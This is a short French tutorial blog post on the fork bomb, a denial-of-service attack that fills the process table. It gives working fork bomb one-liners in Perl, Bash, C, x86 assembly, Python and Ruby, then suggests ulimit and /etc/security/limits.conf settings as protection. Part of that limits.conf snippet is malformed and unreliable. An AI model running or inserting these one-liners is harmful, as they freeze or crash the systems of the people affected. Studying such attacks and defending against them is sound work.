ForkBomb
Hello les geek’s
J’espère que vous êtes en forme en cette fin de semaine car nous allons voir comment créer un processus « forkbomb ».
Dans un premier temps, qu’appel t-on un « forkbomb » ? Et bien c’est tout simplement une attaque par déni de service sur un système qui utilise la fonction fork.
Ce type d’attaque consiste donc à créer un très grand nombre de processus très rapidement afin de saturer l’espace disponible dans la liste des processus que garde votre système ( OS ).
Du coup, aucun nouveau processus ne peut être créé tant que d’autres ne seront pas terminés et ainsi de suite. Mais le risque d’ouvrir un programme utile arrive puis notre fork étant en place, il occupera cet espace libre avant vous 🙂
Ensuite il faut aussi savoir que ces processus consomme chacune du temps processeurs ainsi que de la mémoire. Du coup, vous avez votre système qui fonctionne avec un très gros ralentissement ! Il sera donc impossible de continuer ainsi, votre poste sera indisponible, seule solution ? Le redémarrage.
Il existe néanmoins des solutions pour s’en protégé, nous verrons comment à la fin de l’article, même si après essais, ceci n’avait pas fonctionné pour moi même….
En langage Perl :
perl -e "fork while fork" &
En shell Bash ( supprimez tous les « ² » please sinon sa fait des smiley )
²:²(²)²{² :²|²:²&² }²;²:²
En langage C :
#include <unistd.h> int main(void) { while(1) { fork(); } return 0; }
En Assembleur x86 :
entry start start: push 0x2 pop eax int 0x80 jmp start
En langage Python :
import os while True: os.fork()
En langage Ruby :
loop { fork }
C’est également possible de le faire en langage VB6, HTML et PHP mais nous le verrons pas.
Comment s’en protéger ?
Pour voir le nombre de processus que votre poste est capable de lancer simultanément, vous avez cette commande pratique :
ulimit -u
Si vous êtes vulnérable, vous aurez « unlimited » mais dans ce cas, c’est pas très bon !
Donc dans ce cas modifiez le fichier « /etc/security/limits.conf » et rajoutez à la fin avant le « end of file » :
admin hard 300 @user hard nproc 20 @user soft nproc 20 @user hard nproc 50 @user hard memlock 102400 ftp hard nproc 0 ftp - chroot /ftp @user - maxlogins 4
Un bon redémarrage après la modif et tout est parfait mais essayer quand même :p